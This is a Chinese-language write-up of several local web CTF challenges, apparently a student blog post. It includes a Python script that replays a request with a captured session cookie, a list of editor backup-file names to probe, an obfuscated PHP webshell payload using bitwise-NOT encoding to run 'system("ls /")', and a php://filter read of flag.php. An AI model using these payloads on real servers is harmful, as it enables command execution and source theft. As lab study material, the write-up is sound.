&lt;p&gt;出来了，调用一个 API？ 请求数据包的题，用控制台的网络请求修改参数，记得请求头也要改成一样的，否则文本内容会被解析成不同的形式！
&lt;img src=&quot;./photos/image-20260309000522036.png&quot; alt=&quot;image-20260309000522036&quot;&gt;
&lt;img src=&quot;./photos/image-20260309000533539.png&quot; alt=&quot;image-20260309000533539&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000539675.png&quot; alt=&quot;image-20260309000539675&quot;&gt;&lt;/p&gt;
&lt;h3&gt;web 01&apos; 神秘的手镯_revenge&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;K皇：咳咳...其实当年飞升后，为了防止你偷偷看我收藏的小秘密，我重新设置了一个密码放在wanyanzhou.txt里面了......但是我忘记密码是啥了，而且不小心把保存密码的文件删了......
HDdss：这...应该有备份吧？
K皇：确实有，不过当时着急忘记了...输入太多错误密码，手镯直接锁死了，要连续输入500遍正确密码才能打开。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000556578.png&quot; alt=&quot;image-20260309000556578&quot;&gt;
写Py脚本，重复500次提交密码，501次提交打开文件，获得内容。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests
import json
import time

url=&quot;http://127.0.0.1:57091/unseal&quot;
# params={
#     &quot;name&quot;:&quot;111&quot;
# }

data={
&quot;content&quot;:&quot;密码省略……&quot;
}

headers={ #从控制台网络请求头获取
    &quot;Host&quot;: &quot;127.0.0.1:57091&quot;,
    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0&quot;,
    &quot;Accept&quot;: &quot;*/*&quot;,
    &quot;Accept-Language&quot;: &quot;zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5&quot;,
    &quot;Accept-Encoding&quot;: &quot;gzip, deflate, br, zstd&quot;,
    &quot;Referer&quot;: &quot;http://127.0.0.1:57091/&quot;,
    &quot;Content-Type&quot;: &quot;application/json&quot;,
    &quot;X-SPECIAL-HEADER&quot;: &quot;magic&quot;,
    &quot;Content-Length&quot;: &quot;10014&quot;,
    &quot;Origin&quot;:&quot;http://127.0.0.1:57091&quot;,
    &quot;Connection&quot;:&quot;keep-alive&quot;,
    &quot;Cookie&quot;: &quot;session=.eJxFy0EOQDAQBdC7_PVEWkOrvYqIVE1IUAm1EndnZ_GW70acw7pKmgT-RjwkZBn7kOG1NY3jUllVaFdpZiakaxvkOOFbR4qqj6aaDDE1HSHviyR4_POLvTOxtIYHPM8L5N0d7A.aW_C5g.Q7IVBhkcC4EwHbgGOXZKPa67Ioo&quot;,
    &quot;Sec-Fetch-Dest&quot;:&quot;empty&quot;,
    &quot;Sec-Fetch-Mode&quot;: &quot;cors&quot;,
    &quot;Sec-Fetch-Site&quot;: &quot;same-origin&quot;,
    &quot;Priority&quot;: &quot;u=0&quot;
}
for i in range(501):
    resp = requests.post(url,data=json.dumps(data),headers=headers) #json.dumps:序列化成JSON字符串
    print(resp.text)  # content看到的是二进制内容 .text 输出解码后内容
    time.sleep(0.2) #让程序暂停 0.3秒 再继续执行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第501次，页面输出最后的内容。&lt;/p&gt;
&lt;p&gt;学习笔记：
关于linux和win下的文件夹存储：&lt;a href=&quot;https://docs.microsoft.com/windows/wsl/setup/environment#file-storage&quot;&gt;docs.microsoft.com&lt;/a&gt;
编辑器/系统自动生成的备份后缀:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wanyanzhou.txt~&lt;/code&gt;（很多 Linux 工具/编辑器的备份）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.wanyanzhou.txt.swp&lt;/code&gt; / &lt;code&gt;.swo&lt;/code&gt; / &lt;code&gt;.swn&lt;/code&gt;（Vim 的交换文件）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#wanyanzhou.txt#&lt;/code&gt;（Emacs 临时/备份）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wanyanzhou.txt.bak&lt;/code&gt; / &lt;code&gt;wanyanzhou.bak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wanyanzhou.txt.old&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wanyanzhou.txt.orig&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wanyanzhou.txt.save&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;这是...Webshell？&lt;/h3&gt;
&lt;p&gt;用取反编码做的最后，解决了学期中遗留的问题。
&lt;img src=&quot;./photos/image-20260309000709521.png&quot; alt=&quot;image-20260309000709521&quot;&gt;
&lt;img src=&quot;./photos/image-20260309000715229.png&quot; alt=&quot;image-20260309000715229&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?shell=$_=(~%8C%86%8C%8B%9A%92);$__=(~%93%8C%DF%D0);$_($__);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pasted image 20260209010816.png&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000736849.png&quot; alt=&quot;image-20260309000736849&quot;&gt;
幸福来的太突然了，ai太好用了.&lt;/p&gt;
&lt;h3&gt;web 11 千机变·破妄之眼&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;省流：HDdss看到了 GET 参数名由&lt;code&gt;m,n,o,p,q&lt;/code&gt;这五个字母组成（每个字母出现且仅出现一次），长度正好为 5，虽然不清楚字母的具体顺序，但是他知道参数名等于参数值才能进入。阵中符箓瞬息万变，参数真名每时不同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;写脚本遍历尝试。很奇怪，遍历了几次报错,说是读出超时。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HTTPConnectionPool(host=&apos;127.0.0.1&apos;, port=59333): Read timed out. (read timeout=0.3)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后来用nick的方法，组合所有可能排列进行传入。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;[^1]from itertools import permutations
import requests

payload = {}
for p in permutations(&quot;mnopq&quot;):
    payload[&quot;&quot;.join(p)] = &quot;&quot;.join(p)
res = requests.get(&quot;http://127.0.0.1:59333&quot;, params=payload)
print(res.url, res.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;code&gt;/find.php&lt;/code&gt; 文件，打开，1发现flag文件，直接打开看不到flag,可能被注释导致无法渲染，用&lt;code&gt;php://filter/read=convert.base64-encode/resource=flag.php&lt;/code&gt; 伪协议编码过滤，然后得到flag。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>